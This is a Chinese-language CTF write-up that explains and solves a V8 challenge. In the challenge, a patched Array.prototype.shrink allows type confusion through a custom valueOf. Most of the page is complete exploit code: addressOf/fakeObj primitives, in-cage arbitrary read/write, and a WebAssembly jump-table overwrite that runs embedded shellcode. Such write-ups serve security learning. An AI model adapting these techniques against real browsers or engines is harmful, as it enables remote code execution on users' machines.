SecurinetsCTF 2025 Sukunahikona

SecurinetsCTF 2025 Sukunahikona

目录

前言

临时看到这个v8题,当时一眼觉得白给,因为无数个nday在我眼前闪过,事实也确实如此,很快就写出了脚本。但当时问题出现在和题目适配的过程,也就是最后的shellcode写的有问题,事后发现傻逼了:(,因此记录下这一次做题经过

完整的利用有时间补全吧,临时写了一个poc,我是蓝狗

漏洞分析

编译参数

看到的时候有点熟悉,然后发现是pwncollege的原commit hash和编译参数

1
2
3
4
5
6
7
8
9
10
11
12
13
# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

题目给的patch非常乱。。

精简完毕的如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
BUILTIN(ArrayShrink) {
HandleScope scope(isolate);
Factory *factory = isolate->factory();
Handle<Object> receiver = args.receiver();

if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Oldest trick in the book"))
);
}

Handle<JSArray> array = Cast<JSArray>(receiver);

if (args.length() != 2) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("specify length to shrink to "))
);
}


uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));

Handle<Object> new_len_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));

if (new_len >= old_len){
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("invalid length"))
);
}

array->set_length(Smi::FromInt(new_len));

return ReadOnlyRoots(isolate).undefined_value();
}

对应的runtime调用为

1
2
SimpleInstallFunction(isolate_, proto, "shrink",
Builtin::kArrayShrink, 1, false);

添加了一个builtin方法,非常简单的一个patch,设置一个simple array的new_len ≤ old_len,貌似是没有问题的,但是问题出现在Object::ToNumber(isolate, args.at(1))这里,当ToNumber处理到heapobj时会调用valueOf函数,那么其实这里可以重写一个obj的valueOf,意味着这一段逻辑暴露给用户,那么这个就是一个很常见的类型混淆的场景

漏洞利用

方法1

下面的操作可以将PACKED_SMI_ELEMENTS与PACKED_DOUBLE_ELEMENTS进行类型混淆,从而获取到一个越界读写的原语,然后再后续构造即可

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}

function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}

function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}

// function stop(){
// %SystemBreak();
// }

// function p(arg){
// %DebugPrint(arg);
// }

// function spin(){
// console.log("spin...");
// stop();
// }

function stuck(){
console.log("readline....");
readline();
}

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

obj = {
valueOf: function () {
oob_arr.length = 0;
oob_arr.push(1.1);
return 29;
},
};


var oob_arr = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30];
oob_arr.shrink(obj);
var vic_obj = [{}];
// p(oob_arr);
// p(vic_obj);

function addressOf(obj){
vic_obj[0] = obj;
return f64_to_u32l(oob_arr[18]);
}

function fakeObj(addr){
oob_arr[18] = lh_u32_to_f64(addr,0);
return vic_obj[0];
}

var PACKED_DOUBLE_ELEMENTS = 0x1cce3d;

var fake_array = [
lh_u32_to_f64(PACKED_DOUBLE_ELEMENTS,0),
lh_u32_to_f64(0,0x1000)
]

var fake_array_addr = addressOf(fake_array)+0x24;
var fake_obj = fakeObj(fake_array_addr);
logg("fake_array_addr", fake_array_addr);

function cage_read(addr){
addr |= 1;
fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
return f64_to_u64(fake_obj[0]);
}

function cage_write(addr,val){
addr |= 1;
fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
fake_obj[0] = u64_to_f64(val);
}

let cage_base = cage_read(0x8) & ~0xffffffffn;
logg("cage_base", cage_base);

// spin();

输出如下,此时其实已经有v8 沙箱内的任意读写,并且获取了cage_base,剩下的步骤就很简单了

1
2
3
➜  x64.release git:(5a2307d0f2c) ✗ ./d8 ./exp.js
[+] fake_array_addr: 0x0000000000048fa1
[+] cage_base: 0x00001d7c00000000

后续,完整的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}

function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}

function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}

function stop(){
%SystemBreak();
}

function p(arg){
%DebugPrint(arg);
}

function spin(){
console.log("spin...");
stop();
}

function stuck(){
console.log("readline....");
readline();
}

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

obj = {
valueOf: function () {
oob_arr.length = 0;
oob_arr.push(1.1);
return 29;
},
};


var oob_arr = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30];
oob_arr.shrink(obj);
var vic_obj = [{}];
// p(oob_arr);
// p(vic_obj);

function addressOf(obj){
vic_obj[0] = obj;
return f64_to_u32l(oob_arr[18]);
}

function fakeObj(addr){
oob_arr[18] = lh_u32_to_f64(addr,0);
return vic_obj[0];
}

var PACKED_DOUBLE_ELEMENTS = 0x1cce3d;

var fake_array = [
lh_u32_to_f64(PACKED_DOUBLE_ELEMENTS,0),
lh_u32_to_f64(0,0x1000)
]

var fake_array_addr = addressOf(fake_array)+0x24;
var fake_obj = fakeObj(fake_array_addr);
logg("fake_array_addr", fake_array_addr);

function cage_read(addr){
addr |= 1;
fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
return f64_to_u64(fake_obj[0]);
}

function cage_write(addr,val){
addr |= 1;
fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
fake_obj[0] = u64_to_f64(val);
}

let cage_base = cage_read(0x8) & ~0xffffffffn;
logg("cage_base", cage_base);

var cmd = "./flag.txt";
var cmd_addr = BigInt(addressOf(cmd)+0xc-1)+cage_base;

const wasm_bytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance = new WebAssembly.Instance(mod);
const pwn = instance.exports.pwn;
// console.log(pwn(cmd_addr));
var instance_addr = addressOf(instance);
var trusted_data_addr = Number(cage_read(instance_addr+0xc) & 0xffffffffn);
var jump_table_start_addr = cage_read(trusted_data_addr+0x30);
var rop_addr = jump_table_start_addr + 0x85bn;
cage_write(trusted_data_addr+0x30, (rop_addr));
logg("instance_addr", instance_addr);
logg("trusted_data_addr", trusted_data_addr);
logg("jump_table_start_addr", jump_table_start_addr);
logg("rop_addr", rop_addr);
pwn(cmd_addr)

方法2

由于builtin函数中只是简单的修改了length,因此JSArray存在内存泄漏的问题,通过gc的触发,可以实现内存的’uaf’,也就是越界读写。

详细见https://9anux.org/2025/10/06/sv8/#exploit-js

方法3

无数个nday可以打这一题,笔者其实比赛的时候采用的是这个方法,但是需要注意server.py限制了文件上传的大小,也就是说利用wasm-module-builder的方法,还需要手动删除部分头文件,再精简下js文件


SecurinetsCTF 2025 Sukunahikona
http://example.com/2025/10/09/SecurinetsCTF-2025-Sukunahikona/
作者
flyyy
发布于
2025年10月9日
许可协议